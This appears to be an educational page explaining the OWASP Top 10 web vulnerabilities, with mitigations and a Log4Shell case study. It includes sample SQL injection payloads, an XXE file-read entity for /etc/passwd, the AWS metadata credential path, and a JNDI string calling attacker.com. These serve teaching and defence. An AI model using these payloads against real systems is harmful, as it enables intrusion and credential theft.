Application Security: Secure Coding OWASP Top 10 SAST & DAST Penetration Testing API Security Container Security
← Secure Coding SAST & DAST →
⏱ 12 min read 📊 Advanced 🗓 Updated Jan 2025

🏆 OWASP Top 10 Overview

OWASP (Open Web Application Security Project) is a nonprofit foundation producing free, open security resources. The OWASP Top 10 — last updated in 2021 — is the de facto standard for web application security awareness, used as a baseline in compliance frameworks (PCI DSS, SOC 2) and security programs worldwide.

RankCategoryKey CWEsCommon In
A01Broken Access ControlCWE-200, CWE-284, CWE-285CRUD apps, admin panels, APIs
A02Cryptographic FailuresCWE-259, CWE-327, CWE-331Data storage, transit, auth
A03InjectionCWE-89 (SQL), CWE-79 (XSS), CWE-77All web apps
A04Insecure DesignCWE-73, CWE-183, CWE-209Systems without threat modeling
A05Security MisconfigurationCWE-16, CWE-611Cloud, containers, frameworks
A06Vulnerable & Outdated ComponentsCWE-1104All apps with dependencies
A07Identification & Auth FailuresCWE-297, CWE-287, CWE-384Login flows, session management
A08Software & Data Integrity FailuresCWE-829, CWE-494CI/CD pipelines, update mechanisms
A09Security Logging & Monitoring FailuresCWE-117, CWE-223, CWE-778All production systems
A10Server-Side Request Forgery (SSRF)CWE-918Apps fetching remote URLs

OWASP ASVS — The Next Level

The Application Security Verification Standard (ASVS) provides detailed, testable security requirements organized in three levels (L1 for all apps, L2 for most business apps, L3 for high-value targets). Use the Top 10 for awareness; use ASVS for verification. ASVS 4.0 covers 286 requirements across 14 chapters.

⚡ Injection & Broken Authentication

SQL Injection Types

  • Union-based — uses UNION SELECT to append attacker-controlled query results to the original response. Requires the same column count and compatible data types.
  • Blind (Boolean-based) — no data returned directly; infers data by asking true/false questions. Slow but reliable. "AND 1=1" vs "AND 1=2" produces different responses.
  • Time-based blind — uses SLEEP() or WAITFOR DELAY to infer data when no visible difference exists between true/false responses.
  • Out-of-band — exfiltrates data via DNS or HTTP requests (e.g., INTO OUTFILE, xp_cmdshell). Bypasses input filters that block common characters.

XSS Types

  • Reflected XSS — malicious script in the request is reflected in the response. Requires victim to click a crafted link. Stored in the URL, not the server.
  • Stored (Persistent) XSS — payload stored in the database and served to all users viewing the content. Higher severity — no social engineering needed per victim.
  • DOM-based XSS — script executes in the victim's browser by manipulating the DOM using attacker-controlled source data (location.hash, document.referrer). Server never sees the payload.
  • All three can steal cookies, capture keystrokes, redirect users, or deliver malware.

Other Injection Types

  • SSTI (Server-Side Template Injection) — attacker-controlled input evaluated by a template engine (Jinja2, Twig, Smarty). Can lead to RCE. Test with {{7*7}} — if 49 is returned, SSTI exists.
  • Command Injection — user input passed to OS shell functions (system(), exec(), popen()). Attacker appends shell metacharacters (;, |, &&) to run arbitrary commands.
  • LDAP Injection — malicious input modifies LDAP queries. Can bypass authentication or enumerate directory information.
  • CRLF Injection — carriage return / line feed characters injected into HTTP headers, enabling header splitting, log injection, or response splitting.

Broken Authentication

  • Credential stuffing — using breached username/password pairs (from HaveIBeenPwned, dark web) against your app. Effective because users reuse passwords.
  • Password spraying — trying a few common passwords (Spring2026!, Password1) across many accounts. Avoids lockout policies that trigger on multiple attempts per account.
  • Brute force — exhaustive attempt of all passwords against one account. Mitigated by lockout, CAPTCHA, and rate limiting.
  • Session management failures — predictable session IDs, tokens exposed in URLs, missing invalidation on logout, session tokens in logs.
# SQL Injection payloads
' OR '1'='1                    # Boolean bypass
' UNION SELECT null,username,password FROM users--   # Union-based data extraction
'; WAITFOR DELAY '0:0:5'--     # Time-based (MSSQL)
' AND SLEEP(5)--               # Time-based (MySQL)

# Fix: Parameterized query (Python)
cursor.execute("SELECT * FROM users WHERE username = %s AND password_hash = %s",
               (username, password_hash))

# Fix: Stored procedure (SQL Server)
EXEC sp_GetUser @username = @input_username

🔒 Cryptographic & Access Control Failures

Sensitive Data Exposure

  • PII, passwords, or tokens stored in plaintext in databases or log files.
  • Sensitive data transmitted over HTTP instead of HTTPS.
  • Weak encryption algorithms (DES, RC4, MD5 for encryption) applied to stored data.
  • Encryption keys stored alongside encrypted data (defeating the purpose).
  • PII in URL query strings (appears in server logs, browser history, Referer headers).
  • Cloud storage buckets configured for public read (S3, GCS) containing sensitive files.

Broken Access Control

  • IDOR (Insecure Direct Object Reference) — changing an ID in a URL or request body to access another user's data. "GET /api/orders/12345" — increment to access order 12346.
  • Forced browsing — directly accessing URLs that should require authorization. Admin panels at /admin, backup files at /backup.zip.
  • Privilege escalation — horizontal (access other users' resources) or vertical (gain higher privilege roles).
  • Missing function-level access control — API endpoints that perform privileged actions without verifying the caller's role.
  • CORS misconfiguration — reflecting arbitrary Origins or using Access-Control-Allow-Origin: * with credentials.
# IDOR Example — insecure
# GET /api/invoices/1042 returns invoice for user A
# Attacker (user B) changes ID:
# GET /api/invoices/1043  -- returns user A's invoice

# IDOR Fix — always verify ownership server-side
def get_invoice(invoice_id, requesting_user_id):
    invoice = db.query("SELECT * FROM invoices WHERE id = ?", invoice_id)
    if invoice.owner_id != requesting_user_id:
        raise ForbiddenError("Access denied")  # 403, not 404
    return invoice

# CORS misconfiguration — insecure
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true   # INVALID combination — browsers ignore, but still a signal

# CORS fix — explicitly allowlist origins
allowed_origins = ["https://app.example.com", "https://admin.example.com"]
if request.origin in allowed_origins:
    response.headers["Access-Control-Allow-Origin"] = request.origin

🌐 SSRF, XXE & Security Misconfigurations

SSRF (Server-Side Request Forgery)

  • The server fetches a URL supplied or influenced by the attacker — the request originates from the server's trusted network position.
  • Cloud metadata endpoints — AWS IMDSv1 at 169.254.169.254/latest/meta-data/iam/security-credentials returns IAM keys. IMDSv2 mitigates this by requiring a session token header.
  • Internal service enumeration — scanning internal IP ranges (10.x, 172.16.x, 192.168.x) through the vulnerable server.
  • Can bypass firewall rules — the vulnerable server is inside the perimeter.
  • Mitigate: validate and allowlist URLs; deny private IP ranges; use IMDSv2; segment internal services.

XXE (XML External Entity)

  • XML parsers that process external entity declarations can be used to read local files, make SSRF requests, or cause DoS.
  • File read<!ENTITY xxe SYSTEM "file:///etc/passwd"> — the entity reference in the document is replaced with the file contents.
  • SSRF via XXESYSTEM "http://internal-service/" — the XML parser makes an outbound HTTP request.
  • Billion laughs (DoS) — exponentially nested entity references expand to gigabytes in memory.
  • Fix: disable external entity processing in your XML parser. In Java: factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true).

Security Misconfiguration

  • Default credentials left unchanged (admin/admin, root/root on databases, admin panels).
  • Verbose error messages exposing stack traces, framework versions, database schema.
  • Unnecessary features enabled — debug endpoints, directory listing, unused HTTP methods.
  • Open cloud storage buckets — S3 buckets configured for public-read containing sensitive data.
  • Missing security headers — Content-Security-Policy, X-Frame-Options, HSTS.
  • Unpatched software — running vulnerable versions of frameworks, libraries, or OS.
VulnerabilityCVSS RangeExample AttackMitigation
SSRF7.5–10.0AWS metadata credential theftURL allowlisting, IMDSv2, network segmentation
XXE7.5–9.1/etc/passwd file read via XML uploadDisable external entities in XML parser
Open S3 Bucket5.3–7.5Public access to customer PII exportsBlock public access, enable bucket policies
Default Credentials9.8Admin panel access via admin/adminChange all defaults, remove test accounts
Directory Listing5.0–6.5Enumeration of backup files, source codeDisable Options Indexes in web server config

🚫 Vulnerable Components & Logging Failures

Log4Shell — A Case Study

  • CVE-2021-44228 — CVSS 10.0. A JNDI injection vulnerability in the Apache Log4j 2 library.
  • Attacker sends ${jndi:ldap://attacker.com/a} in any logged field (HTTP header, username, URL). Log4j fetches and executes arbitrary code.
  • Affected nearly every Java application — Log4j was in thousands of products including enterprise software, games (Minecraft), and cloud services.
  • Disclosed December 2021; mass exploitation within hours of public disclosure.
  • Key lesson: a single transitive dependency can compromise your entire application — even if you never directly called the vulnerable function.

CVE Lifecycle & Response

  • Discovery — researcher or attacker finds the vulnerability.
  • Responsible disclosure — researcher reports privately to vendor; vendor has time (typically 90 days) to patch before public disclosure. Coordinated by CERT/CC, Google Project Zero.
  • CVE Assignment — CVE ID assigned; CVSS score calculated; NVD entry published.
  • Patch release — vendor publishes fix; downstream projects update their dependency.
  • Exploitation in the wild — attackers weaponize the public CVE; this is why patching lag is dangerous.
  • Bug bounty programs — HackerOne, Bugcrowd pay researchers to find and report vulnerabilities rather than selling to exploit brokers.

Insufficient Logging & Monitoring

  • The median time to detect a breach is 197 days (IBM Cost of a Data Breach 2023). Insufficient logging is a primary cause.
  • Without logging, you cannot detect ongoing attacks, determine breach scope, or meet regulatory requirements (GDPR 72-hour notification).
  • Security monitoring requires: centralized log aggregation, alerting rules, and a SOC (Security Operations Center) or MSSP to act on alerts.
  • Key alerts: multiple failed logins, login from new geography, mass data download, privilege changes, security tool disabled.
  • SIEM integration: forward application logs to Splunk, Elastic SIEM, or Microsoft Sentinel for correlation and alerting.

OWASP Top 10 Is a Minimum Baseline

The Top 10 covers the most common and impactful categories — but real applications have vulnerabilities beyond this list. Business logic flaws, race conditions, insecure file uploads, prototype pollution, and deserialization vulnerabilities are just as dangerous and frequently found in security assessments. Use the Top 10 to build awareness; use OWASP ASVS for comprehensive verification. A "Top 10 compliant" application is not necessarily secure.

CVE-2021-44228 Log4Shell OWASP Top 10 ASVS Responsible Disclosure Bug Bounty SIEM NVD